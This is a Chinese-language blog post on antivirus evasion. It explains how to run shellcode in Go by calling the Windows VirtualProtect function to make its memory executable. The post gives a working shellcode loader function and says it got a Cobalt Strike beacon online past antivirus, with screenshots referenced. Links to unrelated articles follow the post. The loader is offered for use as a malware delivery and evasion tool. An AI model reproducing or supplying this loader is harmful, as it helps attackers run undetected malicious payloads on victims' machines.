我的免杀之路:虚拟保护

简介: 虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。

简述


虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。说明白点,它的作用就是改变调用进程的一段页的保护属性,如果想要改变其他进程,就需要用到 VirtualProtectEx 函数。这里,我利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式,并且设置好 shellcode 所在内存起始地址以及内存原始属性类型保存地址,这样的 shellcode 内存区域被设置成可执行模式后,shellcode 就会被正常执行了。


实现思路


关于VirtualProtect函数代码如下:

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {

ret, _, _ := procVirtualProtect.Call(

uintptr(lpAddress),

uintptr(dwSize),

uintptr(flNewProtect),

uintptr(lpflOldProtect))

return ret > 0

}


简单的解释下以上的参数

lpAddress:要改变属性的内存起始地址(shellcode所在内存空间的起始地址)

dwSize:要改变属性的内存区域大小(shellcode长度大小)

flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。(此值为0x40)

备注:为什么是0x40,这个值怎么来的。下方链接有介绍哈,这里我简单解释一下。这是填的是内存保护常数,常数的值不同所对应的功能也不一样,对照链接里面的描述,因为现在我需要这个内存区域的可执行权限和写权限,所以这里的值必须得是0x40才能满足我的需求。

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

lpflOldProtect:内存原始属性类型保存地址。


再来看看核心代码部分:

func ShellCodeVirtualProtect(sc string) {

f := func() {}

var oldfperms uint32

if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {

panic("Call to VirtualProtect failed!")

}

ds, _ := hex.DecodeString(sc)

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&ds))

var oldshellcodeperms uint32

if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&ds))), uintptr(len(ds)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {

panic("Call to VirtualProtect failed!")

}

f()

}


可见其核心就是利用 VirtualProtect 函数实现,ds 就是 shellcode。如果函数成功,则返回值非零。如果函数失败,则返回值为零。

 

最后的CS上线免杀效果:

图片1.png

图片2.png

图片3.png


参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

https://blog.csdn.net/weixin_34004576/article/details/90360650

https://blog.csdn.net/zacklin/article/details/7478118



目录
相关文章
|
运维 算法 网络协议
2022年嵌入式开发想进互联网大厂,你技术过硬吗?
2022年嵌入式开发想进互联网大厂,你技术过硬吗?
|
Unix Java Linux
深入剖析计算机底层原理,打开技术的大门
深入剖析计算机底层原理,打开技术的大门
|
5月前
|
存储 算法 NoSQL
天呐!汇编语言竟如此神奇,从零到精通的学习指南带你开启计算机世界神秘大门!
【8月更文挑战第31天】汇编语言是一种底层编程语言,直接与硬件交互,对于理解计算机体系结构和底层原理至关重要。尽管现代软件开发中较少使用,但学习汇编语言有助于深入了解计算机如何执行指令、管理内存和处理数据,从而优化程序性能,进行底层系统开发和调试。不同处理器有不同指令集,如 x86 和 ARM,掌握这些指令集及寄存器、内存地址等基本概念是学习汇编语言的基础。通过简单示例开始,逐步掌握复杂指令和调试工具,可以大大提高编程技能和解决问题的能力。
87 1
|
2月前
|
网络协议 安全 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
实战:WireShark 抓包及快速定位数据包技巧、使用 WireShark 对常用协议抓包并分析原理 、WireShark 抓包解决服务器被黑上不了网等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
|
2月前
|
网络协议 安全 算法
网络空间安全之一个WH的超前沿全栈技术深入学习之路(9-2):WireShark 简介和抓包原理及实战过程一条龙全线分析——就怕你学成黑客啦!
实战:WireShark 抓包及快速定位数据包技巧、使用 WireShark 对常用协议抓包并分析原理 、WireShark 抓包解决服务器被黑上不了网等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
|
8月前
|
算法 搜索推荐 开发工具
探索代码的奥秘:技术感悟与实践探索操作系统的心脏:内核
【5月更文挑战第31天】在数字世界的编织中,每一行代码都承载着创造者的智慧和汗水。本文将带你深入编程的核心,揭示那些隐藏在日常开发实践中的技术真谛。从算法的精妙到系统的架构,我们将一同探讨如何通过技术提升效率,解决问题,并在这个过程中获得个人成长。 【5月更文挑战第31天】本文深入剖析了操作系统的核心组件——内核,探讨了其设计哲学、功能职责以及在现代计算环境中的重要性。通过分析内核的工作原理和它如何与硬件、软件交互,我们将揭示这个隐藏在用户界面背后的力量之源。
|
8月前
【计网·湖科大·思科】实验一 熟悉仿真软件及访问WEB服务器
【计网·湖科大·思科】实验一 熟悉仿真软件及访问WEB服务器
80 0
不愧是华为内部的“操作系统学习笔记”,一篇说细节,一篇讲哲学
当然重要,身为程序员的我们,那更应该深刻理解和掌握操作系统,虽然我们日常 CURD 的工作中,即使不熟悉它们,也不妨碍我们写代码,但是当出现问题时,没有这些基础知识,你是无厘头的,根本没有思路下手,这时候和别人差距就显现出来了,可以说是程序员之间的分水岭。
|
人工智能 算法 架构师
计算机学习路线规划,和我一同打开计算机学习的大门吧!
计算机学习路线规划,和我一同打开计算机学习的大门吧!
235 0
计算机学习路线规划,和我一同打开计算机学习的大门吧!